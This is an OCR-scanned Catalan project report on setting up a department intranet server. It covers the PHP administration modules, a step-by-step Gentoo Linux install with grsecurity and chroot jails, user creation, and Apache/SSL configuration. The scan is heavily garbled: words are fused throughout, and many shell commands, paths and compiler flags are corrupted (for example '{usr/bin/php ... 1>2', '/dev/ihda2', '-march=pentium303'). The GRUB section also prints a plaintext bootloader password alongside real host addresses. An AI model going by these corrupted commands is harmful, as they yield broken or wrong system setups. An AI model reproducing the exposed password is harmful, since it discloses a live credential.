El resum pot set introduit en format HTML, només seran permesosels tags
especificatsa I'ajuda adjuntadaen forma de link al formulari. Aqueststexts seran
formatejats amb les funcions trobades a "shtml/private/text.inc".

També tenim un apartatanomenatextra a on ens sortira un llistat dels propers
deiminaris, els qual podrem imprimir o enviar un mail d'avis/pre-avis.El mail
s'enviaraa tot un llistat d'adrecesgjue podremafegiri esborrardesd'aquestanateixa
seccid.S'hautilitzat phpmailerl.62per enviarels mails a travésdel servidorsmtpde
l'etse.urv.es.

Per tenir accés a aquesta zona cal tenir el privilegi "Deiminaris".

—ADMINISTRACIO NOVETATS/NOTICIES DE PORTADA

Directori: NOVETATS

Els arxiusrelatiusa la seccionovetats/noticiegstrobena "shtml/novetats"Podrem
afegir/modificar/esborranovetats,a mésde cercar-lespel seutitol o contingutper
facilitar 'administracid A més,totanoticiaespot afegirenqualsevoldels3 idiomesi
es guardara a la seva taula corresponent.

Hi ha 1 taulapercadaidiomaenla que pot estarunanovetat,esdecideixa quinaha

d'anarsegonsel que indiqguemals formularis. A I'hora de modificar I'idioma d'una
novetates té en comptequin serael seunou idioma a partir del que hem ficat al

formulari, i quinaerael seuantic idioma (per tant, a quina taula estava)segonda

cookieLANG queté el client. Aquestacookieseli fica quanal llistat de novetatsper
modificar indica que vol modificar les de l'idioma X (utilitza el mateix métodeque
s'utilitzaa les paginesmultilingliesde la web principal). Pertantambaquestmetode
podem saber des d'on hem de moure la novetat i cap a on.

El cos de la noticia pot contenir tags HTML al igual que la secci6 explicada
anteriorment.

Per tenir accés a aquesta zona cal tenir el privilegi "Novetats".
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—ADMINISTRACIO LLISTES DEL PERSONAL DEL DEIM

Directori: PERSONAL

L'administracié de personal es troba a "shtml/personal”. EI personal pot ser
creat/modificat/esborrattodem cercar per qualsevoldel seuscampsper facilitar
'administracio.

El personaldel departamens'agrupaper arees,desd'aquitambées porta a terme
l'administracidd'aquestesPodemcrearde noveso esborraidesja existentsHi haun
area anomenada "No determinada" que no es podra esborrar en cap moment.

L'accésa aquestaseccid estadividit en 2, el usuarisamb el privilegi "Personal
(totes)" tindra accésa totesles fitxes i a la modificacio d'arees.D'altra bandael
usuarisambel privilegi "Fitxa personapropia”noméspodraeditarla sevafitxa. Per
fer aixo possibleel usuarisambcontrol total tindranaccésa unsarxiusi la restafaran
les modificacionsa travésde "modificar-propi.php“el qual rebral'id de l'usuariper
meétode GET (a la url).

A més, per portar a termela actualitzaciéa la BD si que usarael arxius generals
(preview-mod.phg modificardb.php).Per evitar que un usuariediti les dadesd'un
altre, a cadaun d'aquests3 arxius es fan comprovacionger veure si l'usuari esta
editant realment les sevesdades o les d'un altre. Per portar a terme aquesta
comprovacicesfa Usdela funcié "es_el seu_id()ambparametrd'id del'usuarique
esvol editar. Aquestafuncio estrobaa "shtml/private/ident.inc"Si coincideix!'id de
l'usuariactiu ambI'id del que vol editar no fara res, siné bloquejarala connexioi
visualitzara un missatge d'error.

Esborrarun registredel personalimplica la eliminaci6 de qualsevolusuarilligat a

aguestnom, a més si la personaparticipa en propostesde tesi seratreta d'elles.

Seguidamenés comprovaque captesiss’haquedatsensedirectorper culpad'aguest
canvi, si es troba alguna sera eliminada automaticament.

Esborrarun areafara quetot el personalque pertany-hipassia formar partde I'area
"No determinada”.
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—ADMINISTRACIO DEL CERCADOR

Directori: CERCAR/ADMIN

Aqui tenim el fitxer d'administraciédel cercadorde la web. Es tractadel Cercador
PHPDig traduit al catala.L'usuari administradores anomenat'admin” i no té cap
menade relaci6ambl'usuariadministradode la aplicaciéweb. Desd'aquestaeccio
podem:

- Indexar una URL amb profunditat X: donada una adreca de web, indexa totes
les pagines i els seus links sense sortir del domini. La profunditat
indica el nombre de links que es pot allunyar de la pagina principal.

- Esborrar un site indexat.

- Actualitzar/Canviar l'indexacié d'un site: Es pot "navegar" (amb la fletxa
blava) per les pagines indexades i es permet treure (amb la creu taronja) de
I'arbre d'indexacio certes pagines, o tornar-les a indexar (simbol de color
verd) en el cas que hagin sigut actualitzades.

- Netejar index: Esborra webs que no son referenciades per cap pagina.

- Netejar diccionari: Esborra paraules clau no utilitzades per l'index
(disminueix tamany del diccionari).

- Netejar paraules comunes: Esborra les paraules considerades massa geneériques
o comuns del diccionari.

- Estadistiques: Paraules clau en comu i pagines més grans.

De totesformes cadasetmanas'indexala paginagraciesa un script que executael
dimoni vcron: /etc/cron.weekly/phpdig-spider que conté:

#! /bin/sh

cd /home/httpd/shtml/cercar/admin

echo "'--------mmmmmmoo oo " >> Jvar/log/phpdig.log
date >> /var/log/phpdig.log

echo "'--------mmmmmmoo oo " >> Jvar/log/phpdig.log

{usr/bin/php -f spider.php all 1>2 >> /var/log/phpdig.log

—ADMINISTRACIO DE LES PROPOSTES DE | ESI

Directori: TESIS

A "shtml/tesis" trobem els arxius per l'administracié de les tesis, es poden
afegir/modificar/esborrar i cercar per qualsevol camp per facilitar la gestié.

83



CREACIO D'UN SERVIDOR PER LA INTRANET DEL DEIM

Totatesihadetenircomaminim undirectori comamaximtres.Els directorshande
existir ala basede dadesdel personal Si unapersonajuepertanyia algunprojectees
eliminadadel personal s'eliminaraautomaticamende les tesisa les que pertanyen

en cas de que la tesi es quedi sense director s'esborrara immediatament.

Cadatesisha de classificar-sedins d'unacategoriales categorieses podenafegir o
esborrarexceptela "Sensecatalogar”.El resumde la tesi pot serintroduitambtags
html. S'utilitzen els funcions de formateig de "shtml/private/text.inc".

Al igual quela seccidde Personalper accedira aquestazonaes pot fer mitjancant2
permisos:

- "Totes les Tesis i Categories": amb aquest privilegi es tindra accés absolut
a tota la base de dades de tesis, a més es podran afegir o esborrar
categories.

- "Només les seves Tesis": L'usuari només podra accedir a les tesis que ell
sigui director (o codirector). Per aconseguir aixo fem que a I'hora d'afegir
tesis, ell hagi de ser obligatoriament un dels directors, i a I'hnora de
modificar només es llistara les seves tesis, a més s'estableix un control
extra a I'hora de portar a terme els canvis a la BD per assegurar-nos que
realment es ell un dels directors amb la funcié "es_el seu_id123()". Aquesta
funcié es troba a "shtml/private/ident.inc”, se li passa per parametre 3 ids
gue seran comparats amb l'id de l'usuari actual, si algun dels tres es igual
passara sense problemes, sind s'aturara I'operacio visualitzant un missatge
d'error.

Hi ha 1 taula per cadaidioma en la que pot estarunatesi, es decideixa quina ha
d'anarsegonsel que indiqguemals formularis. A I'hora de modificar I'ildioma d'una
tesis es té en compte quin serael seunou idioma a partir del que hem ficat al
formulari, i quinaerael seuantic idioma (per tant, a quina taula estava)segonda
cookie LANG queté el client. Aquestacookie seli fica quanal llistat de tesisper
modificar indica que vol modificar les de l'idioma X (utilitza el mateix métodeque
s'utilitzaa les paginesmultilingliesde la web principal). Pertantambaquestmetode
podem saber des d'on hem de moure la tesi i cap a on.

—ADMINISTRACIO DELS LINKS RAPIDS DE LA PLANA PRINCIPAL

Directori: LINKS/

En aquestirectori estrobenels arxius peradministrarels links rapidsquehi haala
planaprincipal a la dreta. Funcionade forma que es poden afegir o treure slots
(sempreestreu l'Ultim que s'haafegit, com si fos unapila [FILO]). A méspodem
modificar el contingut de cada slot, es a dir, el link i el texte que conté.
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—Forum

Directori: FORUM/

Aqui podemtrobar el forum de la web, basaten phpBB. Utilitza la basede dades
“phpbb” amb l'usuari “phpbb”. En aquestforum els alumnesi professorses poden
registrarlliurementi tenir accésa les secciongoubliquesper debatre demanajuda,
sol-licitarapuntso el quecalgui. A mésexisteixun forum privat nomésper professors
del DEIM, aquellsquevulguin participarhandeindicar el seulogin a l'administrador
i aquest donar-li permisos.

L'usuari administradorés “admin”, un cop s'entraamb aquestusuaries té accésal
paneld'administracicdesd'on pot crear/modificar/esborraiorum, establirprivilegis
als forums i donar permisosals usuaris.A més de I'administracides podencrear
usuaris i donar-los permis per moderar algun forum en concret.

Al directori forum/docs es troba tota la informacio extra necessaria sobre phpBB.

—WEBMAIL

Directori: WEBMAIL/

Webmailbasatenel webmailGPL Postacihttp://www.trlinux.com/).Ha siguttraduit
al catala, integrat completamenta la web del deim i ha passatuna auditoria de
seguretata partir dela qual s’hanfet moltesmodificacionsen el funcionamentntern
del webmail.Enincludes/global.incrobemla configuracio,fa isdela basede dades
webmaila MySQL. Necessitanod_phpambsuportIMAP, per utilitzar les funcions
gueproporcionad'accédMAP/POP3.En concretaquesutilitza el protocolPOP3per
comunicar-seamb etse.urv.esa més els mails també son enviats per etse.urv.es
utilitzant el protocol SMTP.

Els arxius que es vulguin adjuntar als mails seran guardats a
/home/httpd/shtml/private/webmail/send/ y /home/httpd/shtml/private/webmail/store/.

La traduccio al catala es troba a lang/catala.inc.

Els mails enviatsesguardena la basede dadegunt ambla restad'informacidoqueno
es rep de l'etse.urv.esPodrien haver problemessi un usuaries donat de baixa a
I'etse.urv.es$ desprésdornaa serdonatd'altaperassignar-liaguestadrecaa unaaltra
personaaquestaindria accésals mails enviatsper l'antic propietari.Es per aixo que
cadacop que esdonade baixaun usuaride I'etse.urv.es'hauriad’'informari treure
tota la informaci6é guardada a la base de dades sobre ell.

La configuraciode l'usuari/passwordjue necessitger fer la connexiécontrala base
de dades es troba al shtml/private/connect.inc.
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5.AVALUACIO DEL RESULTAT

Un cop mésha quedatdemostraigue es pot implantarperfectamentin servidorper
cobrir les necessitatsl'un departamenten aquestcas un departament'enginyeria
d'informatica i matematiques, utilitzant només tecnologies obertes i programari lliure.

Totes les eines utilitzadesper desenvolupael projecte han sigut lliures, inclus el
propi informe ha sigut redactatamb processadorde text lliures. Aixo evidenciaque
el SoftwareLliure esunaalternativarealambpossibilitats El servidorenconcrets'ha
mostrat molt estable en tot moment, sense patir cap caiguda del sistemaen
aproximadamentin any de funcionamentaquestnivell de qualitates molt positiu i
important.

El desenvolupamenen PHP ha sigut bastantconfortablei intuitiu, existeix gran
guantitat de documentsa la xarxa per facilitar la vida al programador.L'Unic
inconvenientes que aquesttipus de tecnologia generauna aplicacié a on la
presentaciode la informacid i el procésde la mateixa s'ajuntenfent més dificil
entendredesde fora el funcionamentPerprojectesamésgransi amb possibilitatsd's
de maquinariapotentes mésrecomanableitilitzar la tecnologiaJ2EEde Sun, per la
gual també existeixen implementacions de servidors d'aplicacions lliures com Jboss.

Perla bandad'administraciédel servidor, GNU/Linux ofereix una ampliagamade

possibilitatsa I'horade garantirla seguretatconsisténcia fiabilitat del sistemaEn tot

momenttensel control absolutde la maquinai no s'amagares darrered'interficies
grafiguesmenysflexibles i potents.Es cert que tambéhi han einesgrafiquesque
faciliten I'administracié,perd no sénd'Us obligat, sempreet permetfer-ho de forma

manualper gaudird'un control superior.Peraltra banda'administraciéd'un sistema
GNU/Linux o UNIX engeneralésméscomplexaque altresalternativescom pot ser
un Microsoft Windows 2003, personalmenbpino que sobretotquanes tractad'un

servidorespreferibleinvertir en coneixement apendresl funcionament'unsistema
operatiuper poder proporcionarun serveiseguri fiable en comptesde buscarla

facilitat en I'administracio perdent estabilitat, seguretat i control.

En conclusio,el desenvolupamerd'aquestprojecteha sigut tota una aventuraplena
de experiéncies a on l'adquisicidde nousconeixementda sigut un fet continu. El

resultatha complerttotesles especificacionsnicials sol-licitadesen els terminisde
temps establerts.

86



CREACIO D'UN SERVIDOR PER LA INTRANET DEL DEIM

6.RECURSOS ELECTRONICS UTILITZATS

Sistemes Operatius
http://www.netbsd.org/
http://www.openbsd.org/
http://www.gnu.org/
http://www.kernel .org/
Distribucions GNU/Linux
http://www.redhat.es/
http://www.mandrakelinux.com
http://www.unitedlinux.com/
http://www.debian.org
http://www.slackware.com
http://www.gentoo.org
Cercadors d'aplicacions
http://www.linuxpackages.net
http://freshmeat.net

Cercador de continguts

http://www.google.com

Elements per ampliar la seguretat de sistemes GNU/Linux
http://www.grsecurity.net

http://www.research.avayal abs.com/project/libsaf e/

Gabies Chroot Jall

http://www.gsyc.inf.uc3m.es/~assman/jail/
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Jabber: missatgeria instantania
http://www.jabber.org
http://www.jabberstudio.org
Clients jabber
http://exodus.jabberstudio.org
http://psi.affinix.com/
http://gabber.sourceforge.net/
Servidor IRCd
http://www.shadow-realm.org/
http://www.epona.org

Clients d'IRC
http://www.mirces.com
http://www.ircap.com
http://www.xchat.org
http://www.bitchx.org
http://lunascript.sourceforge.net
http://www.kvirc.net

Tanels encriptats amb SSL

http://www.stunnel .org

Servidor Web

http://www.apache.org

Programacié PHP

http://ww.php.net
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.ANNEX A: GUIA DE REFERENCIA PER LA
INSTAL-LACIO | ADMINISTRACIO DEL
SERVIDOR

DESCRIPCIO DEL DOCUMENT

Aquestdocumentpreténinformar dels passosnésimportantsque s'hanrealitzatfins

arribar a I'estat actual del sistema(servidor del DEIM). Explicant des del procés
d'instal-laciéfins a les rutinesméshabitualscom pot serla creaciéd'un nou usuari.
Pertant, estractad'undocumentd'ajudapelsnousadministradorgle la maquina,que
necessitirconeixen'estatdel sistema tindre unavisio generalde comesrealitzenles

tasques més habituals.

El sistemaactual és un GNU/Linux, concretamentina distribucié Gentoo,la qual
compila totesles aplicacionsque instal-lemde la forma més optima per la nostra
arquitecturgen aquestacas,un PentiumlV), aprofitantaixi al maximles prestacions
de la maquina.

Desdeun primermoments’hadonatmaximprivilegi ala seguretatiel sistemagsper
aixo que s'’hanimplantantmillores al kernelde linux amb grsecurity,que permetun

nivell de seguretasuperior,per exemple,davantde buffer overflowsja quefa quela

pila del processoso sigui executableS'haconfiguratun firewall personalitzat s'ha
restringitl'accésa tots aquellsusuarisque necessiterallotjar les sevesplanesweb al

servidor,fent sdegabieschroot.A més,totesles connexiongjues'haginderealitzar
amb autentificacidées fan sobreprotocolsque encriptenles dadesde forma que no
viatgin els passwords en text clar per la xarxa.

Per tot lo exposatanteriorment,qualsevol personaque es vulgui encarregarde

['administraciédel servidornecessitaindre unsbonsconeixementsle GNU/Linux i,
sobretot, tenir molt clara la filosofia segura que s'ha intentat aplicar des de l'inici.
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INsTAL ‘LACIO D'UNA GENTOO 1.4 RC2: Pas A pas

Iniciem I'ordinador i arranquem amb el Gentoo Live CD 1.4 RC2.

* PREPARACIONS INICIALS

Fem el particionament inicial amb la utilitat cfdisk:
512 MB  SWAP hdal
100 MB  /boot hda2
5000 MB / hda3

Reiniciem (tornem a arrancar de CD).

Donem format Extended3 (sistema amb journaling) a les particions hda2 i hda3 amb:
mke2fs -j /dev/ihda2
mke2fs -j /dev/hda3

Donem format a la particio d'SWAP hdal.:
mkswap /dev/hdal

Activem la memoria SWAP:
swapon /dev/hdal

* CONFIGURACIO DE LA XARXA

Carreguem el modul que correspon a la nostra tarja de xarxa:
modprobe eeprol00

Configuracio de la interface ethO:
ifconfig ethO 193.144.20.18 up

Afegim la ruta per defecte per tindre sortida cap a internet:
route add default gw 193.144.20.1

Editeml'arxiu /etc/resolv.conperindicarels servidorsDNS queenspermetrarfer les
resolucions domini <-> IP:

domain etse.urv.es

nameserver 193.144.20.2

nameserver 193.144.16.4
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Amb domainetse.urv.eestemdient que cadacop que es consultiunadomini tipus
“nom” li afegeixi nom.etse.urv.es.

Comprovem gque la connexié funciona correctament amb un ping:

ping www.fut.es

* INSTAL:LACIO DEL SISTEMA BASE

Creacio del directori a on muntarem la particio principal (la futura /):

mkdir /mnt/gentoo
mount /dev/hda3 /mnt/gentoo

Creaciddel directoriboot (futur /boot) a on esguardarartots els arxiusd'inici mésel
kernel de linux:

mkdir /mnt/gentoo/boot
mount /dev/hda2 /mnt/gentoo/boot

Anem al directori principal i descomprimiml'stage 1 (la base minima que ens
permetra compilar-ho tot, inclosa la base):

cd /mnt/gentoo
tar -jxvf /mnt/cdrm/gentoo/stagel...tar.bz2

Fem que el nostre/proc (directori virtual ambinformacio sobreel sistema)sigui el
mateix que el /mnt/gentoo/proc:

mount -0 bind /proc /mnt/gentoo/proc
Copiem la configuracié de DNS:
cp /etc/resolv.conf /mnt/gentoo/etc

| fem un chroot per treballaren el directori /mnt/gentoocom si fos /. Com ho fem
cridant a /bin/bash, per sortir del chroot només hauriem de escriure exit.

chroot /mnt/gentoo /bin/bash
Actualitzem I'entorn (variables d'entorn...)

env-update
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* Pero ensdona un error i ens demanaun emergersync, per tant tornarem a
executar aguesta comanda després del rsync.

source /etc/profile

Actualitzemel portage(llistat de les aplicacionsdisponiblegebuilds] perinstal-lara
gentoo):

emerge rsync

Ara queja estaactualitzadda llista, tornema provara actualitzard'entorn,aquestcop
Si, sense cap error:

env_update

Editem I'arxiu principal de configuracidde les compilacionsde Gentoo(en aquest
punt només disposem de l'editor nano).

nano -w /etc/make.conf
Modificaremelsflags de compilacioqueseli passeral gcc (compilador)per fer que
les compilacionssiguin lo més optimitzadespossiblepel nostre processadofIntel
Pentium IV):

CFLAGS="-march=pentium303 -fforce-addr-fomit-frame-pointer-funroll-
loops -frerun-cse-after-loop -frerun-loop-opt -falign-functions=4"

*** No figuem pentium4 pg hi ha problemesamb les versionsactuals del gcc
(2.3.1/2.3.2)

Modifiqguem els mirrors desd'on es baixaraels programescom que la etseté un,
I'aprofitarem:

GENTOO_MIRRORS="ftp://ftp.etse.urv.es/pub/linux/gentoo
http://gentoo.oregonstate.edu/
http://www.ibiblio.org/pub/Linux/distributions/gentoo”

| farem que sincronitzi el portage sempre amb el servidor de bulma afegint:
SYNC="rsync://rsyncl.es.gentoo.org/gentoo-portage”

Finalitzem la edici6 i fem un backup del make.conf:

cp /etc/make.conf /etc/make.conf.bak
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Iniciem el bootstrap (proces en el que es compilara la base, gcc, glibc...):

cd /usr/portage
scripts/bootstrap.sh

* Hemd'estaratentsperqueal principi del bootstrap gl make.confesreescriti s'hade
recuperar el que teniem o no es compilara amb les optimitzacions, etc..

Ara queja tenimla base,instal-larema restadel sistemanecessarper arrancaramb
un linux minim:

export CONFIG_PROTECT=""
emerge system

Configuracio de la zona horaria

In -sf /usr/share/zoneinfo/Europe/Madrid /etc/localtime

* INSTALLACIO DEL KERNEL

Ens baixem les fonts del kernel standard, que sera descomprimit a /usr/src/:
emerge sys-kernel/vanilla-sources

Perquesigui possiblecompilar el kernel,hemd'afegiral PATH el directoria on es
troba el gcc:

export PATH=$PATH:/usr/lib/gcc-lib/i686-pc-linux-gnu/3.2.2
Configurem el kernel:

cd /usr/src/linux
make menuconfig

| finalment el compilem junt amb els seus moduls:
make dep; make bzlmage; make modules; make modules_install
El copiem al directori d'arranc:

cp arch/i386/boot/bzimage /boot/kernel-2.4.20
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Afegim un gestor de logs (dimoni):
emer ge app-admin/sysiog-ng
Afegim el dimoni a l'arranc:
rc-update add syslog-ng default
Afegim un cron per les tasques periodiques:

emer ge sys-apps/vcron
rc-update add veron default

Editem l'arxiu de configuracio de les particions que tenim:
nano -w /etc/fstab

Cambiem el password del superusuari (root):
passwd

Editem I'arxiu a on es guardael nom de la maquina,en el nostre cas ficarem
deim.etse.urv.es:

nano -w /etc/hostname

Editemla configuracidde la xarxa, aixi la properavegadagueiniciem el sistemagja
estara configurada:

nano -w /etc/conf.d/net
iface_eth0="193.144.20.18 broadcast 193.144.20.255 netmask 255.255.255.0"
gateway="eth0/193.144.20.1"
Li diem que la utilitzi a l'arrancar:

rc-update add net.ethO default

Editemla configuracidgeneraldel sistemaperficar quin tipusdeteclatutilitzemi que
el rellotge indica la hora local:

nano -w /etc/rc.conf

KEYMAP="es”
CLOCK="local"
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Creem l'arxiu de configuracio del gestor d'arranc GRUB:

nano -w /boot/grub/menu.|st
default O
timeout 3
splashimage=(hd0,1)/boot/grub/splash.xpm.gz
password inideim135

titlte=Gentoo GNU/Linux
root(hd0,1)
kernel /boot/kernel-2.4.20-sec root=/dev/hda3 vga=771
In -s/boot/grub/menu.lst /boot/grub/grub.conf
Instal-lem el gestor al sector d'arranc:
grub
root (hd0,1)
setup (hdO)
quit

Reiniciem i ara no arranquem des del CD siné des del disc dur.

PoOSTINSTAL -LACIO

Instal-lacié de GPM per utilitzar el mouse a la consola

Instal-laciéde la utilitat UFED que serveixper configurarfacilmentla variable USE
del /etc/make.conf. Després de configurar-ho ha quedat:

USE="-3dnowacpi -arts -avi -cups-encodeflash -gnome-gtk -imlib -java
-kde -mikmod -motif mysqgl -opengl -gt -gtmt -quicktime -sdl -spell -svga
-truetype -X -xmms -xv imap"

Instal-lacié del navegador de consola links

Instal-laci6éde apachemod_ssl,mod_php,flash-ming, mysql. Importanttenir a la
variable USE imap, per donar suport a les funcions IMAP/POP3 de PHP.

Instal-lacié de ncftp, vlock, mc, cvs.

Instal-lacibnmanual del sistemade paquetspkgtools de Slackware,aixi podrem
utilitzar aquest sistema de paquets quan instal-lem un programa que no estigui al
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portage. Per facilitar-ho també instal-lem checkinstall que ens ajudara a fer els paquets
.tgz. Cadacop que instal-lemprogramesjue no estiguinal portage,en comptesde
ficar make install, executarem checkinstall.

Apliquem grsecurity(http://www.grsecurity.net/patchpel kernel 2.4.20i instal-lem
chpaxal sistemaGrsecurityesun patchqueaportadiversesfuncionalitatsadicionals
de seguretatal kernel, com una pila a on no es pot executarcodi (per evitar
bufferoverflows), major control sobre socketsentre altres. Per poder controlar els
usuaris s'han creat els seguents grups:
untrusted (usuaris en qui no confiar)
socketdeny (usuaris als que se'l denega qualsevol tipus de socket)
clientsocketdeny (usuaris als que se'l denega sockets de tipus client)
serversocketdeny (usuaris als que se'l denega sockets de tipus servidor)

Creemel grup secureshellen aquestgrup estaranaquellespersonesque podran
accedir al sistema mitjangant ssh/sftp.

Instal-lacié i configuracié de logrotate i slocate.

Utilitzarem un alias: alias halt=echo “Inhabilitado.” Aixi no es podrar apagarla
maquinaamb un simple halt, sino que s'haurad'escriure“halt” entre cometes.
L'objectiu es no executar aquesta comanda per error i apagar el sistema remotament.

Creaciéd'unscript quete com a objectiula configuraciédel Firewall. Cadacop que
s'inicia la maquinas'executal'script es troba a /usr/local/sbin/firewall. Tancaels
ports que no calen ser accedits des de l'exterior entre altres coses.

Instal-laciéi configuraciodel servidorde mail exim i del client de mail pine. El
servidorestatancatperfirewall desdel'exterior,nomésespodenenviarmails desde
l'interior.

Configuracio de /etc/logrotate.d/ per tractar tots els logs que tenim al sistema.

Configuraciode vcron (NOTA: ignora/etc/crontabgjecuta/etc/cron.hourly daily...
per si mateix), per veure quines tasques s'han d'executar periodicament.

CREACIO D'UN USUARI (EXEMPLE: COADMIN)

Afegim l'usuari coadmin al sistema, el seu grup primari sera usersi la resta
secureshel{per pemetrd'accésper SSH)i wheel(per permetrecanviara superusuari
utilitzant “su”). Tots els usuarisque no siguin de cap chroottindranel seudirectori
personal a /home/users/.

adduser -g users -G secureshell,wheel -s /bin/bash -d /Thome/users/coadmin
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Creemel seudirectoripersonalli fiquemelsfitxers de configuracidinicialsi fem que
el propietari sigui ell mateix:

mkdir /home/users/coadmin
cp /etc/skell/.* /home/users/coadmin/
chown -R coadmin: users /home/user §/'coadmin

Finalment establim un password per l'usuari:

passwd coadmin

ENTORNS CHROOT

/home/chroot-web Tot usuariquevol tindre unaplanaweb, tindraun compte
dintred'aquesthroot.Peraccedirala basede dadesanysql
directament haura d'executar:

mysql -p -u usuario -h 127.0.0.1

CREAR UN ENTORN CHROOT JAIL

Creem el directori a on estara el chroot:

mkdir chroot

Creem l'entorn inicial i li afegim el software base:

mkjailenv chroot
addjailsw chroot

Editeml'arxiu de passwordper substituirel passwordde root per un *. No cal tenir
aguest password en aquest arxiu i a més es poc segur:

nano -w chroot/etc/shadow
Afegim més software, primer la shell bash:

addjailsw chroot -P bash
cp /etc/bashrc chroot/etc
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Ara el gue ens permetra fer “Is” en color:

addjailsw chroot -P DIRCOLORS
cp /etc/DIRCOLORS chroot/etc

Configuracions:

cp /etc/profile chroot/etc
cp -r /usr/share/terminfo chroot/etc

Comanda whoami:
addjailsw chroot -P whoami
Editor vim:
cp -r /usr/share/vim chroot/usr/share
addjailsw chroot -P vim —version
cp -r /etc/vim chroot/etc/

Midnight commander:

cp -r /usr/share/mc /home/chroot-web/usr/share/
addjailsw chroot -P mc

Per a que es pugui fer sftp cap al chroot, hem de tindre dintre el sftp-server:
cp /usr/lib/misc/sftp-server chroot/usr/lib/misc/

Finalmentafegir tota la seguientcol-leccidde einestal i com hemfet fins ara (e.g.
addjailsw chroot -P programa):

- TextUtils: cat,cksum,comm,csplit, cut, expandfmt, fold, headjoin, md5sumnl,
paste, pr, ptx, shalsum, sort, split, sum, tac, tail, tr, tsort, unexpand, uniq, wc

- FileUtils: chgrp,chmod,chown,cp, dd, mv, rm, rmdir, shred,stat, touch, unlink,
rmdir.

- Otros: find, diff, tar, gzip, bzip2, nano, less, scp (para que funcione winscp2),
clear, vlock, mysql, groups,zip,unzip
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AFEGIR USUARI AL CHROOT JAIL (EXEMPLE: WEBMASTER)

Afegim l'usuaricoadminal sistemagl seugrup primari seraapachg(si estractesd'un
usuaride web normalseriadel grup users)i la restasecureshel(per pemetrel'accés
per SSH),untrusted serversocketdenfs'’hade permetresocketsclient per quepugui
accedira mysql). Totselsusuarisd'unchroottenencom a directori personakl chroot
en questio:

useradd -g apache -G secureshell, untrusted, serversocketdeny -d /home/chroot-
web/ -s /usr/bin/jail webmaster

Li figuem un password:
passwd webmaster

Afegim [l'usuari al chroot /home/chroot-web amb el directori personal
/home/webmaster (a partir de /home/chroot-web/) i la shell /bin/bash:

addjailuser /home/chroot-web /home/webmaster /bin/bash webmaster

Editeml'arxiu de passwords substituimtots els passwordper*. No calenaquii es
un risc de seguretat:

nano -w /home/chroot-web/etc/shadow
Eliminem els grups repetits:
nano -w /home/chroot-web/etc/group

Creemels directorisinicials i copiemels arxiusde configuracidinicials. Els usuaris
dewebpodranficar les seveplanesnormalahtml/ i ashtml/lesquerequereixinanar
xifradesamb SSL. Les sevesadrecesseriendel tipus http://deim.etse.urv.es/~usuari
en el primer cas i https://deim.etse.urv.es/~usuari en el segon:

mkdir /home/chr oot-web/home/webmaster/

mkdir /home/chr oot-web/home/webmaster/html

mkdir /home/chr oot-web/home/webmaster/shtml

cp /etc/skell/.*  /home/chroot-web/home/webmaster/
chown -R webmaster:apache chroot/home/webmaster/
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Usuaris princiPALSs AL DEIM

root: superusuari

coadmin:Segonusuarimésimportant(desprésieroot),ambaquespodremaccediral
sistema (no esta en cap chroot) des de I'exterior i fer un “su” cap a root.

webmasterEncarregatlela planaweb principal del DEIM, estrobadintre del chroot

/home/chroot-webpero a diferenciade la restad'usuarisd'aguestchroot té com a
grup primari apache.

CoNFIGURACIO APACHE

La pagina principal es trobara en:
/home/chroot-web/home/webmaster/html
/home/chroot-web/home/webmaster/shtml (pagines per SSL)

Pero hi hauran enllagos simbolics cap als directoris anteriors respectius:
/home/httpd/html
/home/httpd/shtml

Tota la configuraciod'apachees troba a /etc/apache/confRPrimeramentonfigurem
I'arxiu principal, ficant el domini i afegint el suport per php i ssl entre altres coses:

apache.conf
ServerName deim.etse.urv.es
Include /etc/apache/conf/addon-modules/mod_php.conf
Include /etc/apache/conf/addon-modules/mod_ssl.conf

Desprésditeml'arxiu commonapache.corfem queel DocumentRoothome/chroot-
web/home/webmaster/htmConfigurem el userdir inhabilitant les planesweb per
root, coadmin i webmaster (ja que aquest té la plana principal):

UserDir /home/chroot-web/home/*/html
UserDir disabled root coadmin webmaster

Configurem els directoris:
<Directory /home/chroot-web/home/webmaster/htmi>
Options -Indexes FollowSymLinks MultiViews

AllowOverride none
Order allow,deny

100



CREACIO D'UN SERVIDOR PER LA INTRANET DEL DEIM

Allow from all

<Directory /home/chroot-web/home/webmaster/shtml>
[l[dem anterior]
</Directory>

Evitem que es pugui accedir als directoris private:

<Directory "/home/chroot-web/home/webmaster/html/private">
Options -Indexes FollowSymLinks MultiViews
AllowOverride None
Order deny,allow
Deny from all

</Directory>

<Directory "/home/chroot-web/home/webmaster/shtml/private">
[Ildem. Anterior]
</Directory>

Ara ve la configuraciénecessaripelsdirectorisde la aplicaciOGAP (ques'explicara
mésendavanttom instal-lar),per cadaaplicaci6 GAP que hi hagi instal-ladas'hade
fer una configuracio del 3 directoris:

<Directory "/home/httpd/gap">
Options Indexes FollowSymLinks MultiViews
AllowOverride AuthConfig Limit
Order allow,deny
Allow from all
</Directory>

<Directory "/home/httpd/gap/cgi-bin/">
Options -Indexes FollowSymLinks MultiViews ExecCGl
AllowOverride AuthConfig Limit
Order allow,deny
Allow from all
</Directory>

No permetre que ningu tingui accés al directori de dades:

<Directory "/home/httpd/gap/gap">
Options -Indexes
AllowOverride None
Order deny,allow
Deny from all
</Directory>
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Finalment la configuraci6 pels directoris dels usuaris:

<Directory /home/chroot-web/home/*/html>
AllowOverride Indexes Filelnfo AuthConfig Limit
Options MultiViews Indexes SymLinkslifOwnerMatch IncludesNoExec
<Limit GET POST OPTIONS PROPFIND>
Order allow,deny
Allow from all
</Limit>
<LimitExcept GET POST OPTIONS PROPFIND>
Order deny,allow
Deny from all
</LimitExcept>
</Directory>
<Directory /home/chroot-web/home/*/html/cgi-bin>
Options +ExecCGl -Includes -Indexes
SetHandler cgi-script
</Directory>

Configuremel suport SSL a l'arxiu /etc/apache/conf/addon-modules/mod_ssl.conf,
figuem el domini, fem que DocumentRoot sigui "/home/chroot-
web/home/webmaster/shtml”, configurem el SSL pels usuaris individuals:

<IfModule mod_userdir.c>
UserDir /Thome/chroot-web/home/*/shtml
UserDir disabled root coadmin webmaster
</IfModule>

| el directori principal:

<Directory /home/chroot-web/home/*/shtml>
AllowOverride Indexes Filelnfo AuthConfig Limit
Options MultiViews Indexes SymLinkslifOwnerMatch IncludesNoExec
<Limit GET POST OPTIONS PROPFIND>
Order allow,deny
Allow from all
</Limit>
<LimitExcept GET POST OPTIONS PROPFIND>
Order deny,allow
Deny from all
</LimitExcept>
</Directory>

Finalment indiquem a on estaran els certificats:

SSL CertificateFile /etc/apache/conf/ssl/deim.crt
SSL CertificateKeyFile /etc/apache/conf/ssl/deim.key
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En el directori /etc/apache/conf/ssl/ s'hauran de crear els certificats corresponents.

